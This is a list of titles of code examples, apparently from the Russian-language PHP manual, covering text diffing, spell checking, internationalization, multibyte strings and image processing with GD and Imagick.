  • Example#2296 - Апмсер использования xdiff_file_diff_binary
  • Example#2297 - Пример использования xdiff_file_diff
  • Example#2298 - Пример использования xdiff_file_merge3
  • Example#2299 - Пример использования xdiff_file_patch_binary
  • Example#2300 - Пример использования xdiff_file_patch
  • Example#2301 - Patch reversing example
  • Example#2302 - Пример использования xdiff_file_rabdiff
  • Example#2303 - Пример использования xdiff_string_bdiff_size
  • Example#2304 - Пример использования xdiff_string_diff
  • Example#2305 - Пример использования xdiff_string_patch
  • Example#2306 - Пример использования Enchant
  • Example#2307 - Список бэкендов предоставляемых конкретным брокером
  • Example#2308 - Пример использования enchant_broker_dict_exists
  • Example#2309 - Список всех доступных на брокере словарей
  • Example#2310 - Пример использования enchant_broker_request_dict
  • Example#2311 - Добавление слова в PWL
  • Example#2312 - Пример использования enchant_dict_describe
  • Example#2313 - Пример использования enchant_dict_quick_check
  • Example#2314 - Пример использования enchant_dict_suggest
  • Example#2315 - Пример использования.
  • Example#2316 - Пример использования Gender\Gender::country
  • Example#2317 - Пример использования bindtextdomain
  • Example#2318 - gettext-check
  • Example#2319 - Пример использования ngettext
  • Example#2320 - Пример использования iconv_get_encoding
  • Example#2321 - Пример использования iconv_mime_decode_headers
  • Example#2322 - Пример использования iconv_mime_decode
  • Example#2323 - Пример использования iconv_mime_encode
  • Example#2324 - Пример использования iconv_set_encoding
  • Example#2325 - Пример использования iconv
  • Example#2326 - Пример использования ob_iconv_handler
  • Example#2327 - Пример использования процедурного API
  • Example#2328 - Пример использования объектно-ориентированного API
  • Example#2329 - Правила FRENCH_COLLATION
  • Example#2330 - ALTERNATE_HANDLING rules
  • Example#2331 - Правила CASE_FIRST
  • Example#2332 - CASE_LEVEL rules
  • Example#2333 - Пример использования collator_asort
  • Example#2334 - Пример использования collator_compare
  • Example#2335 - Сравнение строк без диакритических знаков и без учёта регистра
  • Example#2336 - Пример использования Collator::__construct
  • Example#2337 - Пример использования collator_create
  • Example#2338 - Пример использования collator_get_attribute
  • Example#2339 - Пример использования collator_get_error_code
  • Example#2340 - Пример использования collator_get_error_message
  • Example#2341 - collator_get_locale example
  • Example#2342 - Пример использования collator_get_sort_key
  • Example#2343 - Пример использования collator_get_strength
  • Example#2344 - Пример использования collator_set_attribute
  • Example#2345 - Пример использования collator_set_strength
  • Example#2346 - Пример использования collator_sort_with_sort_keys
  • Example#2347 - Пример использования collator_sort
  • Example#2348 - Пример использования numfmt_create
  • Example#2349 - Пример использования NumberFormatter::create
  • Example#2350 - Пример использования numfmt_format_currency
  • Example#2351 - Пример использования в объектно-ориентированном стиле
  • Example#2352 - Пример использования numfmt_format
  • Example#2353 - Пример использования в объектно-ориентированном стиле
  • Example#2354 - Пример использования numfmt_get_attribute
  • Example#2355 - Пример использования в объектно-ориентированном стиле
  • Example#2356 - Пример использования numfmt_get_error_code
  • Example#2357 - Пример использования в объектно-ориентированном стиле
  • Example#2358 - Пример использования numfmt_get_error_message
  • Example#2359 - Пример использования в объектно-ориентированном стиле
  • Example#2360 - Пример использования numfmt_get_locale
  • Example#2361 - Пример использования numfmt_get_pattern
  • Example#2362 - Пример использования в объектно-ориентированном стиле
  • Example#2363 - Пример использования numfmt_get_symbol
  • Example#2364 - Пример использования в объектно-ориентированном стиле
  • Example#2365 - Пример использования numfmt_get_text_attribute
  • Example#2366 - Пример использования в объектно-ориентированном стиле
  • Example#2367 - Пример использования numfmt_parse_currency
  • Example#2368 - Пример использования в объектно-ориентированном стиле
  • Example#2369 - Пример использования numfmt_parse
  • Example#2370 - Пример использования в объектно-ориентированном стиле
  • Example#2371 - Пример использования numfmt_set_attribute
  • Example#2372 - Пример использования в объектно-ориентированном стиле
  • Example#2373 - Пример использования numfmt_set_pattern
  • Example#2374 - Пример использования в объектно-ориентированном стиле
  • Example#2375 - Пример использования numfmt_set_symbol
  • Example#2376 - Пример использования в объектно-ориентированном стиле
  • Example#2377 - Пример использования numfmt_set_text_attribute
  • Example#2378 - Пример использования в объектно-ориентированном стиле
  • Example#2379 - Пример использования locale_accept_from_http
  • Example#2380 - Пример использования в объектно-ориентированном стиле
  • Example#2381 - Пример использования locale_compose
  • Example#2382 - Пример использования в объектно-ориентированном стиле
  • Example#2383 - Пределы подтегов
  • Example#2384 - Пример использования locale_filter_matches
  • Example#2385 - Пример использования в объектно-ориентированном стиле
  • Example#2386 - Пример использования locale_get_all_variants
  • Example#2387 - Пример использования в объектно-ориентированном стиле
  • Example#2388 - Пример использования locale_get_default
  • Example#2389 - Пример использования в объектно-ориентированном стиле
  • Example#2390 - Пример использования locale_get_display_language
  • Example#2391 - Пример использования в объектно-ориентированном стиле
  • Example#2392 - Пример использования locale_get_display_name
  • Example#2393 - Пример использования в объектно-ориентированном стиле
  • Example#2394 - Пример использования locale_get_display_region
  • Example#2395 - Пример использования в объектно-ориентированном стиле
  • Example#2396 - Пример использования locale_get_display_script
  • Example#2397 - Пример использования в объектно-ориентированном стиле
  • Example#2398 - Пример использования locale_get_display_variant
  • Example#2399 - Пример использования в объектно-ориентированном стиле
  • Example#2400 - Пример использования locale_get_keywords
  • Example#2401 - Пример использования в объектно-ориентированном стиле
  • Example#2402 - Пример использования locale_get_primary_language
  • Example#2403 - Пример использования в объектно-ориентированном стиле
  • Example#2404 - Пример использования locale_get_region
  • Example#2405 - Пример использования в объектно-ориентированном стиле
  • Example#2406 - Пример использования locale_get_script
  • Example#2407 - Пример использования в объектно-ориентированном стиле
  • Example#2408 - Пример использования locale_lookup
  • Example#2409 - Пример использования в объектно-ориентированном стиле
  • Example#2410 - Пример использования locale_parse
  • Example#2411 - Пример использования в объектно-ориентированном стиле
  • Example#2412 - Пример использования locale_set_default
  • Example#2413 - Пример использования в объектно-ориентированном стиле
  • Example#2414 - Пример использования Normalizer::getRawDecomposition
  • Example#2415 - Пример использования normalizer_is_normalized
  • Example#2416 - Пример в объектно-ориентированном стиле
  • Example#2417 - Пример использования normalizer_normalize
  • Example#2418 - Пример в объектно-ориентированном стиле
  • Example#2419 - Пример использования msgfmt_create
  • Example#2420 - Пример использования в объектно-ориентированном стиле
  • Example#2421 - Пример использования msgfmt_format_message
  • Example#2422 - Пример использования в объектно-ориентированном стиле
  • Example#2423 - Пример использования ICU для форматирования валюты с общим и с узким символом валюты
  • Example#2424 - Пример использования msgfmt_format
  • Example#2425 - Пример использования в объектно-ориентированном стиле
  • Example#2426 - Пример использования msgfmt_get_error_message
  • Example#2427 - Пример использования в объектно-ориентированном стиле
  • Example#2428 - Пример использования msgfmt_get_locale
  • Example#2429 - Пример использования в объектно-ориентированном стиле
  • Example#2430 - Пример использования msgfmt_get_pattern
  • Example#2431 - Пример использования в объектно-ориентированном стиле
  • Example#2432 - Пример использования msgfmt_parse_message
  • Example#2433 - Пример использования в объектно-ориентированном стиле
  • Example#2434 - Пример использования msgfmt_parse
  • Example#2435 - Пример использования в объектно-ориентированном стиле
  • Example#2436 - Пример использования msgfmt_set_pattern
  • Example#2437 - Пример использования в объектно-ориентированном стиле
  • Example#2438 - Пример использования IntlCalendar::add
  • Example#2439 - Пример использования IntlCalendar::after
  • Example#2440 - Пример использования IntlCalendar::clear
  • Example#2441 - Пример использования IntlCalendar::createInstance
  • Example#2442 - Пример использования IntlCalendar::equals
  • Example#2443 - Пример использования IntlCalendar::fieldDifference
  • Example#2444 - Пример использования IntlCalendar::fromDateTime
  • Example#2445 - Пример использования IntlCalendar::get
  • Example#2446 - Пример использования IntlCalendar::getActualMaximum
  • Example#2447 - Пример использования IntlCalendar::getAvailableLocales
  • Example#2448 - Пример использования IntlCalendar::getDayOfWeekType
  • Example#2449 - Пример использования IntlCalendar::getErrorCode и IntlCalendar::getErrorMessage
  • Example#2450 - Пример использования IntlCalendar::getErrorMessage
  • Example#2451 - Пример использования IntlCalendar::getFirstDayOfWeek
  • Example#2452 - Пример использования IntlCalendar::getKeyworkValuesForLocale
  • Example#2453 - Пример максимального значения
  • Example#2454 - Пример использования IntlCalendar::getLocale
  • Example#2455 - Пример использования IntlCalendar::getMinimalDaysInFirstWeek
  • Example#2456 - Пример использования IntlCalendar::getNow
  • Example#2457 - Пример использования IntlCalendar::getRepeatedWallTimeOption
  • Example#2458 - Пример использования IntlCalendar::getSkippedWallTimeOption
  • Example#2459 - Пример использования IntlCalendar::getTime
  • Example#2460 - Пример использования IntlCalendar::getTimeZone
  • Example#2461 - Пример использования IntlCalendar::getType
  • Example#2462 - Пример использования IntlCalendar::inDaylightTime
  • Example#2463 - Пример использования IntlCalendar::isEquivalentTo
  • Example#2464 - Пример использования IntlCalendar::isLenient
  • Example#2465 - Пример использования IntlCalendar::isWeekend
  • Example#2466 - Пример использования IntlCalendar::roll
  • Example#2467 - Пример использования IntlCalendar::set
  • Example#2468 - Пример использования метода IntlCalendar::setDate
  • Example#2469 - Пример использования метода IntlCalendar::setDateTime
  • Example#2470 - Пример использования IntlCalendar::setFirstDayOfWeek
  • Example#2471 - Пример использования IntlCalendar::setTime
  • Example#2472 - Пример использования IntlCalendar::setTimeZone
  • Example#2473 - Пример использования IntlCalendar::toDateTime
  • Example#2474 - Пример использования метода IntlGregorianCalendar::createFromDate
  • Example#2475 - Пример использования метода IntlGregorianCalendar::createFromDateTime
  • Example#2476 - Пример использования datefmt_create
  • Example#2477 - OO example
  • Example#2478 - Пример обработки неверного значения языкового стандарта
  • Example#2479 - Пример использования datefmt_format
  • Example#2480 - Пример использования в объектно-ориентированном стиле
  • Example#2481 - Пример использования с объектом IntlCalendar
  • Example#2482 - Пример использования IntlDateFormatter::formatObject
  • Example#2483 - Пример использования функции datefmt_get_calendar
  • Example#2484 - Пример использования в объектно-ориентированном стиле
  • Example#2485 - Пример обработки неверного значения языкового стандарта
  • Example#2486 - Пример обработки недопустимого языкового стандарта
  • Example#2487 - Пример использования datefmt_get_datetype
  • Example#2488 - Пример использования в объектно-ориентированном стиле
  • Example#2489 - Пример использования функции datefmt_get_error_code
  • Example#2490 - Пример использования в объектно-ориентированном стиле
  • Example#2491 - Пример использования datefmt_get_error_message
  • Example#2492 - Пример использования в объектно-ориентированном стиле
  • Example#2493 - Пример использования datefmt_get_locale
  • Example#2494 - Пример использования в объектно-ориентированном стиле
  • Example#2495 - Пример использования datefmt_get_pattern
  • Example#2496 - Пример использования в объектно-ориентированном стиле
  • Example#2497 - Пример использования datefmt_get_timetype
  • Example#2498 - Пример использования в объектно-ориентированном стиле
  • Example#2499 - Пример использования datefmt_get_timezone_id
  • Example#2500 - Пример использования в объектно-ориентированном стиле
  • Example#2501 - Пример использования IntlDateFormatter::getCalendarObject
  • Example#2502 - Пример использования IntlDateFormatter::getTimeZone
  • Example#2503 - Пример использования datefmt_is_lenient
  • Example#2504 - Пример использования в объектно-ориентированном стиле
  • Example#2505 - Пример использования datefmt_localtime
  • Example#2506 - OO example
  • Example#2507 - Пример использования в объектно-ориентированном стиле
  • Example#2508 - Пример использования datefmt_parse
  • Example#2509 - Пример использования datefmt_set_calendar
  • Example#2510 - Пример использования в объектно-ориентированном стиле
  • Example#2511 - Пример использования IntlCalendar с параметром
  • Example#2512 - Пример использования datefmt_set_lenient
  • Example#2513 - Пример использования в объектно-ориентированном стиле
  • Example#2514 - Пример использования datefmt_set_pattern
  • Example#2515 - Пример использования в объектно-ориентированном стиле
  • Example#2516 - Пример использования IntlDateFormatter::setTimeZone
  • Example#2517 - Пример использования resourcebundle_count
  • Example#2518 - Пример в объектно-ориентированном стиле
  • Example#2519 - Пример использования resourcebundle_create
  • Example#2520 - Пример использования ResourceBundle::create
  • Example#2521 - Пример использования resourcebundle_get_error_code
  • Example#2522 - Пример в объектно-ориентированном стиле
  • Example#2523 - Пример использования resourcebundle_get_error_message
  • Example#2524 - Пример в объектно-ориентированном стиле
  • Example#2525 - Пример использования resourcebundle_get
  • Example#2526 - Пример в объектно-ориентированном стиле
  • Example#2527 - Пример использования resourcebundle_locales
  • Example#2528 - Пример в объектно-ориентированном стиле
  • Example#2529 - Пример использования Spoofchecker::areConfusable
  • Example#2530 - Пример использования Spoofchecker::isSuspicious
  • Example#2531 - Получение зарегистрированных идентификаторов транслитератора
  • Example#2532 - Конвертация экранированной UTF-16 строки
  • Example#2533 - Пример использования IntlDatePatternGenerator::getBestPattern
  • Example#2534 - Преобразование из UTF-8 в UTF-16 и обратно
  • Example#2535 - Недопустимые символы во входной строке
  • Example#2536 - Символы, которые не могут быть закодированы
  • Example#2537 - Пример использования grapheme_extract
  • Example#2538 - Пример использования grapheme_stripos
  • Example#2539 - Пример использования функции grapheme_stristr
  • Example#2540 - Пример использования grapheme_strlen
  • Example#2541 - Пример использования grapheme_strpos
  • Example#2542 - Пример использования grapheme_strripos
  • Example#2543 - Пример использования grapheme_strrpos
  • Example#2544 - Пример использования grapheme_strstr
  • Example#2545 - Пример использования grapheme_substr
  • Example#2546 - Пример использования idn_to_ascii
  • Example#2547 - Пример использования idn_to_utf8
  • Example#2548 - Тестирование различных способов задания
  • Example#2549 - Тестирование различных способов задания
  • Example#2550 - Тестирование различных способов задания
  • Example#2551 - Тестирование различных способов задания
  • Example#2552 - Тестирование различных способов задания
  • Example#2553 - Тестирование различных способов задания
  • Example#2554 - Тестирование различных способов задания
  • Example#2555 - Тестирование различных способов задания
  • Example#2556 - Тестирование различных способов задания
  • Example#2557 - Перечисления диапазона символов
  • Example#2558 - Перечисление диапазонов категорий символов
  • Example#2559 - Тестирование различных способов задания
  • Example#2560 - Тестирование различных способов задания
  • Example#2561 - Тестирование различных способов задания
  • Example#2562 - Тестирование различных способов задания
  • Example#2563 - Тестирование различных способов задания
  • Example#2564 - Тестирование различных свойств
  • Example#2565 - Тестирование различных свойств
  • Example#2566 - Тестирование различных свойств
  • Example#2567 - Тестирование различных способов задания
  • Example#2568 - Тестирование различных свойств
  • Example#2569 - Тестирование различных свойств
  • Example#2570 - Тестирование различных свойств
  • Example#2571 - Тестирование различных свойств
  • Example#2572 - Тестирование различных свойств
  • Example#2573 - Тестирование различных свойств
  • Example#2574 - Тестирование различных способов задания
  • Example#2575 - Тестирование различных способов задания
  • Example#2576 - Тестирование различных способов задания
  • Example#2577 - Тестирование различных способов задания
  • Example#2578 - Тестирование различных способов задания
  • Example#2579 - Тестирование различных способов задания
  • Example#2580 - Тестирование различных способов задания
  • Example#2581 - Тестирование различных способов задания
  • Example#2582 - Тестирование различных способов задания
  • Example#2583 - Тестирование различных способов задания
  • Example#2584 - Тестирование различных способов задания
  • Example#2585 - Тестирование различных способов задания
  • Example#2586 - Тестирование различных способов задания
  • Example#2587 - Тестирование различных способов задания
  • Example#2588 - Тестирование различных способов задания
  • Example#2589 - Тестирование различных способов задания
  • Example#2590 - Тестирование различных способов задания
  • Example#2591 - Тестирование различных способов задания
  • Example#2592 - Тестирование различных способов задания
  • Example#2593 - Тестирование различных способов задания
  • Example#2594 - Тестирование различных способов задания
  • Example#2595 - Тестирование различных способов задания
  • Example#2596 - Тестирование различных способов задания
  • Example#2597 - Тестирование различных способов задания
  • Example#2598 - Тестирование различных способов задания
  • Example#2599 - Тестирование различных способов задания
  • Example#2600 - Тестирование различных способов задания
  • Example#2601 - Тестирование различных способов задания
  • Example#2602 - Тестирование различных способов задания
  • Example#2603 - Тестирование различных способов задания
  • Example#2604 - Тестирование различных способов задания
  • Example#2605 - Тестирование различных способов задания
  • Example#2606 - Пример использования intl_error_name
  • Example#2607 - Пример использования intl_get_error_code
  • Example#2608 - Пример использования intl_get_error_message
  • Example#2609 - Пример использования intl_is_failure
  • Example#2610 - Примеры настроек php.ini
  • Example#2611 - Настройки php.ini для пользователей EUC-JP
  • Example#2612 - Настройки php.ini для пользователей SJIS
  • Example#2613 - Отключение преобразования кодировки HTTP-ввода в файле php.ini
  • Example#2614 - Пример настройки php.ini
  • Example#2615 - Пример скрипта
  • Example#2616 - Тестирование различных способов задания
  • Example#2617 - Пример использования функции mb_convert_case
  • Example#2618 - Пример использования функции mb_convert_case с нелатински текстомм в кодировке UTF-8
  • Example#2619 - Пример использования функции mb_convert_encoding
  • Example#2620 - Пример использования функции mb_convert_kana
  • Example#2621 - Пример использования функции mb_convert_variables
  • Example#2622 - Пример использования параметра map
  • Example#2623 - Пример экранирования строки JavaScript через параметр map
  • Example#2624 - Пример использования функции mb_detect_encoding
  • Example#2625 - Действие параметра strict
  • Example#2626 - Действие порядка кодировок при совпадении нескольких кандидатов
  • Example#2627 - Пример использования функции mb_detect_order
  • Example#2628 - Пример бесполезных порядков определения
  • Example#2629 - Пример использования функции mb_encode_mimeheader
  • Example#2630 - Пример использования параметра map
  • Example#2631 - Пример использования функции mb_encode_numericentity
  • Example#2632 - Пример использования функции mb_encoding_aliases
  • Example#2633 - Пример использования функции mb_ereg_replace_callback
  • Example#2634 - Пример использования функции mb_ereg_replace_callback с анонимной функцией
  • Example#2635 - Пример использования функции mb_internal_encoding
  • Example#2636 - Пример использования функции mb_list_encodings
  • Example#2637 - Простой пример использования функции mb_ord
  • Example#2638 - Пример использования функции mb_output_handler
  • Example#2639 - Пример использования функции mb_preferred_mime_name
  • Example#2640 - Пример использования функции mb_str_pad
  • Example#2641 - Пример использования функции mb_strimwidth
  • Example#2642 - Пример использования функции mb_strtolower
  • Example#2643 - Пример использования функции mb_strtolower с нелатинскими буквами
  • Example#2644 - Пример использования функции mb_strtoupper
  • Example#2645 - Пример использования mb_strtoupper с нелатинскими буквами
  • Example#2646 - Пример использования функции mb_strwidth
  • Example#2647 - Пример использования функции mb_substitute_character
  • Example#2648 - Пример использования функции mb_substr_count
  • Example#2649 - Пример использования pspell_add_to_personal
  • Example#2650 - Пример использования pspell_check
  • Example#2651 - Пример использования pspell_add_to_personal
  • Example#2652 - Пример использования pspell_config_create
  • Example#2653 - Пример использования pspell_config_ignore
  • Example#2654 - Пример использования pspell_config_mode
  • Example#2655 - Пример использования pspell_config_personal
  • Example#2656 - Пример использования pspell_config_repl
  • Example#2657 - Пример использования pspell_config_runtogether
  • Example#2658 - Пример использования pspell_new_config
  • Example#2659 - Пример использования pspell_new_personal
  • Example#2660 - Пример использования pspell_new
  • Example#2661 - Пример использования pspell_add_to_personal
  • Example#2662 - Пример использования pspell_store_replacement
  • Example#2663 - Пример использования pspell_suggest
  • Example#2664 - Пример использования recode_file
  • Example#2665 - Пример использования recode_string
  • Example#2666 - Пример использования exif_imagetype
  • Example#2667 - Пример использования функции exif_read_data
  • Example#2668 - Использование функции exif_read_data с потоковым ресурсом (доступно с PHP 7.2.0)
  • Example#2669 - Пример использования exif_tagname
  • Example#2670 - Пример использования exif_thumbnail
  • Example#2671 - Создание PNG средствами PHP
  • Example#2672 - Добавление водяных знаков на изображения с помощью альфа-каналов
  • Example#2673 - Использование imagecopymerge создать полупрозрачный водяной знак
  • Example#2674 - Пример использования gd_info
  • Example#2675 - getimagesize и MIME типы
  • Example#2676 - Пример использования getimagesize
  • Example#2677 - getimagesize (URL)
  • Example#2678 - getimagesize() возвращающая IPTC
  • Example#2679 - Пример использования getimagesizefromstring
  • Example#2680 - Пример использования image_type_to_extension
  • Example#2681 - Пример использования image_type_to_mime_type
  • Example#2682 - Пример использования image2wbmp
  • Example#2683 - Пример использования imageaffinematrixconcat
  • Example#2684 - Пример использования imageaffinematrixget
  • Example#2685 - Пример использования imagealphablending
  • Example#2686 - Сравнение двух линий, одна из которых рисуется с включённым сглаживанием
  • Example#2687 - Рисование окружности с помощью функции imagearc
  • Example#2688 - Сохранение BMP-файла
  • Example#2689 - Пример использования imagechar
  • Example#2690 - Пример использования imagecharup
  • Example#2691 - Пример использования imagecolorallocate
  • Example#2692 - Пример использования imagecolorallocatealpha
  • Example#2693 - Преобразование типичных альфа-значений для использования с imagecolorallocatealpha
  • Example#2694 - Доступ к компонентам RGB цвета
  • Example#2695 - Удобочитаемые RGB значения с использованием imagecolorsforindex
  • Example#2696 - Поиск набора цветов изображения
  • Example#2697 - Поиск набора цветов изображения
  • Example#2698 - Пример использования imagecolorclosesthwb
  • Example#2699 - Пример использования imagecolordeallocate
  • Example#2700 - Получение цветов GD логотипа
  • Example#2701 - Получение цветов GD логотипа
  • Example#2702 - Пример использования imagecolormatch
  • Example#2703 - Использование imagecoloresolve для получения цветов из изображения.
  • Example#2704 - Пример использования imagecoloresolvealpha для получения цветов из изображения
  • Example#2705 - Пример использования imagecolorset
  • Example#2706 - Пример использования imagecolorsforindex
  • Example#2707 - Получение количества цветов в изображении, используя imagecolorstotal
  • Example#2708 - Пример использования imagecolortransparent
  • Example#2709 - Создание рельефа на логотипе PHP.net
  • Example#2710 - Размытие по Гауссу
  • Example#2711 - Обрезка логотипа PHP.net
  • Example#2712 - Совмещение двух копий логотипа PHP.net с 75% прозрачностью
  • Example#2713 - Пример использования imagecopymergegray
  • Example#2714 - Простой пример
  • Example#2715 - Ресэмплирование изображения с сохранением пропорций
  • Example#2716 - Изменение размера изображения
  • Example#2717 - Создание нового GD потока изображения и вывод изображения.
  • Example#2718 - Конвертирование BMP-изображения в PNG-изображения, используя imagecreatefrombmp
  • Example#2719 - Пример использования imagecreatefromgd2
  • Example#2720 - Пример использования imagecreatefromgd2part
  • Example#2721 - Пример использования imagecreatefromgd
  • Example#2722 - Пример обработки ошибки при загрузке GIF
  • Example#2723 - Пример обработки ошибки при загрузке JPEG
  • Example#2724 - Пример обработки ошибки при загрузке PNG
  • Example#2725 - Пример использования функции imagecreatefromstring
  • Example#2726 - Пример обработки ошибки при загрузке WBMP
  • Example#2727 - Конвертирование WebP-изображения к jpeg-изображению, используя imagecreatefromwebp
  • Example#2728 - Преобразование XBM изображения в png, используя imagecreatefromxbm
  • Example#2729 - Создание изображения, используя imagecreatefromxpm
  • Example#2730 - Создание нового потока изображения модуля GD и вывод картинки
  • Example#2731 - Пример использования imagecrop
  • Example#2732 - Правильная обработка автообрезки
  • Example#2733 - Пример использования imagedashedline
  • Example#2734 - Альтернатива функции imagedashedline
  • Example#2735 - Пример использования imagedestroy до PHP 8.0.0
  • Example#2736 - Пример использования imageellipse
  • Example#2737 - Пример использования imagefill
  • Example#2738 - Создание трёхмерного пирога
  • Example#2739 - Пример использования imagefilledellipse
  • Example#2740 - Пример использования imagefilledpolygon
  • Example#2741 - Пример использования imagefilledrectangle
  • Example#2742 - Закрашивание эллипса
  • Example#2743 - Пример использования imagefilter с фильтром grayscale
  • Example#2744 - Пример использования imagefilter с фильтром яркости
  • Example#2745 - Пример использования imagefilter с фильтром colorize
  • Example#2746 - Пример использования imagefilter с фильтром negate
  • Example#2747 - Пример использования imagefilter с фильтром pixelate
  • Example#2748 - Пример использования imagefilter с фильтром scatter
  • Example#2749 - Переворачивает изображение по вертикали
  • Example#2750 - Переворачивает изображение по горизонтали
  • Example#2751 - Пример использования imagefontheight на встроенных шрифтах
  • Example#2752 - Использование imagefontheight вместе с imageloadfont
  • Example#2753 - Использование imagefontwidth на встроенных шрифтах
  • Example#2754 - Использование imagefontwidth вместе с imageloadfont
  • Example#2755 - Пример использования imageftbbox
  • Example#2756 - Пример использования imagefttext
  • Example#2757 - Пример использования imagegammacorrect
  • Example#2758 - Вывод GD2 изображения
  • Example#2759 - Сохранение GD2 изображения
  • Example#2760 - Вывод GD-изображения
  • Example#2761 - Сохранение GD-изображения
  • Example#2762 - Пример использования imagegetclip
  • Example#2763 - Вывод изображения, используя imagegif
  • Example#2764 - Преобразование PNG в GIF, используя imagegif
  • Example#2765 - Пример использования imagegrabscreen
  • Example#2766 - Пример использования imagegrabwindow
  • Example#2767 - Включение интерлейсинга, используя imageinterlace
  • Example#2768 - Простое определение полноцветных изображений с помощью imageistruecolor
  • Example#2769 - Вывод JPEG-изображения в браузер
  • Example#2770 - Сохранение изображения JPEG в файл
  • Example#2771 - Вывод JPEG-изображения с 75% качеством в браузер
  • Example#2772 - Пример использования imagelayereffect
  • Example#2773 - Рисование жирной линии
  • Example#2774 - Пример использования imageloadfont
  • Example#2775 - Пример использования imageopenpolygon
  • Example#2776 - Пример использования imagepalettecopy
  • Example#2777 - Конвертирует любой объект изображения в настоящий цвет
  • Example#2778 - Пример использования imagepolygon
  • Example#2779 - Пример использования imagerectangle
  • Example#2780 - Установка и получение разрешения изображения
  • Example#2781 - Поворот изображения на 180 градусов
  • Example#2782 - Пример использования imagesavealpha
  • Example#2783 - Пример использования imagesetbrush
  • Example#2784 - Пример использования imagesetinterpolation
  • Example#2785 - Пример использования imagesetpixel
  • Example#2786 - Пример использования imagesetstyle
  • Example#2787 - Пример использования imagesetthickness
  • Example#2788 - Пример использования imagesettile
  • Example#2789 - Пример использования imagestring
  • Example#2790 - Пример использования imagestringup
  • Example#2791 - Пример использования imagesx
  • Example#2792 - Пример использования imagesy
  • Example#2793 - Преобразование truecolor-изображения в палитровое
  • Example#2794 - Пример использования imagettfbbox
  • Example#2795 - Пример использования imagettftext
  • Example#2796 - Проверка поддержки PNG
  • Example#2797 - Вывод WBMP изображения
  • Example#2798 - Сохранение WBMP изображения
  • Example#2799 - Вывод изображения с изменённым верхним слоем
  • Example#2800 - Сохранение WebP-файла
  • Example#2801 - Сохранение XBM файла
  • Example#2802 - Сохранение XBM файла с отличным цветом верхнего слоя
  • Example#2803 - Встраивание IPTC данных в JPEG
  • Example#2804 - iptcparse() используется совместно с getimagesize
  • Example#2805 - Пример использования jpeg2wbmp
  • Example#2806 - Пример использования png2wbmp
  • Example#2807 - Примеры использования Gmagick
  • Example#2808 - Пример использования Gmagick::despeckleimage
  • Example#2809 - Пример использования Gmagick::setCompressionQuality
  • Example#2810 - Создание миниатюры в Imagick
  • Example#2811 - Создание миниатюр для всех JPG файлов в директории
  • Example#2812 - Создание отражения
  • Example#2813 - Заливка текста градиентом
  • Example#2814 - Чтение GIF изображения и изменение размера всех фреймов
  • Example#2815 - Create a PHP logo
  • Example#2816 - Пример использования Imagick::adaptiveBlurImage:
  • Example#2817 - Пример использования Imagick::adaptiveResizeImage
  • Example#2818 - Пример использования Imagick::adaptiveSharpenImage
  • Example#2819 - Пример использования Imagick::adaptiveThresholdImage
  • Example#2820 - Пример использования Imagick::addNoiseImage
  • Example#2821 - Пример использования метода Imagick::affineTransformImage
  • Example#2822 - Пример использования Imagick::annotateImage:
  • Example#2823 - Пример использования Imagick::appendImages
  • Example#2824 - Пример использования Imagick::autoLevelImage
  • Example#2825 - Пример использования Imagick::blackThresholdImage
  • Example#2826 - Пример использования Imagick::blueShiftImage
  • Example#2827 - Пример использования Imagick::blurImage:
  • Example#2828 - Пример использования Imagick::borderImage
  • Example#2829 - Пример использования метода Imagick::brightnessContrastImage
  • Example#2830 - Пример использования Imagick::charcoalImage
  • Example#2831 - Использование Imagick::chopImage:
  • Example#2832 - Клонирование объекта Imagick в разных версиях
  • Example#2833 - Использование Imagick::clutImage:
  • Example#2834 - Пример использования Imagick::colorizeImage
  • Example#2835 - Пример использования Imagick::colorMatrixImage
  • Example#2836 - Пример использования Imagick::commentImage:
  • Example#2837 - Пример использования Imagick::compareImageLayers
  • Example#2838 - Пример использования Imagick::compareImages:
  • Example#2839 - Пример использования Imagick::compositeImage:
  • Example#2840 - Пример использования Imagick::contrastImage
  • Example#2841 - Пример использования Imagick::convolveImage
  • Example#2842 - Пример использования Imagick::cropImage
  • Example#2843 - Пример использования Imagick::deskewImage
  • Example#2844 - Пример использования Imagick::despeckleImage
  • Example#2845 - Пример использования Imagick::distortImage:
  • Example#2846 - Пример использования Imagick::edgeImage
  • Example#2847 - Пример использования Imagick::embossImage
  • Example#2848 - Пример использования Imagick::enhanceImage
  • Example#2849 - Пример использования Imagick::equalizeImage
  • Example#2850 - Пример использования Imagick::evaluateImage
  • Example#2851 - Пример использования Imagick::exportImagePixels
  • Example#2852 - Пример использования Imagick::filter
  • Example#2853 - Пример использования Imagick::flipImage
  • Example#2854 - Пример использования Imagick::floodfillPaintImage
  • Example#2855 - Пример использования Imagick::flopImage
  • Example#2856 - Пример использования Imagick::forwardFourierTransformImage
  • Example#2857 - Пример использования Imagick::frameImage
  • Example#2858 - Создание синусоидального градиента
  • Example#2859 - Создание градиента из полинома (4x^2 - 4x + 1)
  • Example#2860 - Создание сложного градиента из полинома (4x^2 - 4x^2 + 1), модулированного синусоидальным градиентом
  • Example#2861 - Пример использования Imagick::fxImage
  • Example#2862 - Пример использования Imagick::gammaImage
  • Example#2863 - Пример использования Imagick::gaussianBlurImage
  • Example#2864 - Пример использования Imagick::getImageGeometry
  • Example#2865 - Генерация Imagick::getImageHistogram
  • Example#2866 - Пример использования Imagick::getImageLength:
  • Example#2867 - Использование Imagick::getImageProperties:
  • Example#2868 - Пример использования Imagick::getImageProperty:
  • Example#2869 - Пример использования Imagick::getIteratorIndex:
  • Example#2870 - Пример использования Imagick::getPixelIterator
  • Example#2871 - Пример использования функции Imagick::getPixelRegionIterator
  • Example#2872 - Получение размера исходного изображения RGB, установленные в 200x400, после масштабирования до 400x800
  • Example#2873 - Пример использования Imagick::haldClutImage
  • Example#2874 - Пример использования Imagick::identifyFormat
  • Example#2875 - Пример результата
  • Example#2876 - Пример использования Imagick::implodeImage
  • Example#2877 - Пример использования Imagick::importImagePixels
  • Example#2878 - Пример использования Imagick::levelImage
  • Example#2879 - Пример использования Imagick::linearStretchImage
  • Example#2880 - Пример использования Imagick::magnifyImage
  • Example#2881 - Пример использования Imagick::medianFilterImage
  • Example#2882 - Пример использования Imagick::mergeImageLayers
  • Example#2883 - Пример использования Imagick::modulateImage
  • Example#2884 - Пример использования метода Convolve Imagick::morphology
  • Example#2885 - Пример использования метода Correlate Imagick::morphology
  • Example#2886 - Пример использования метода Erode Imagick::morphology
  • Example#2887 - Пример использования метода Erode Intensity Imagick::morphology
  • Example#2888 - Пример использования метода Dilate Imagick::morphology
  • Example#2889 - Пример использования метода Dilate intensity Imagick::morphology
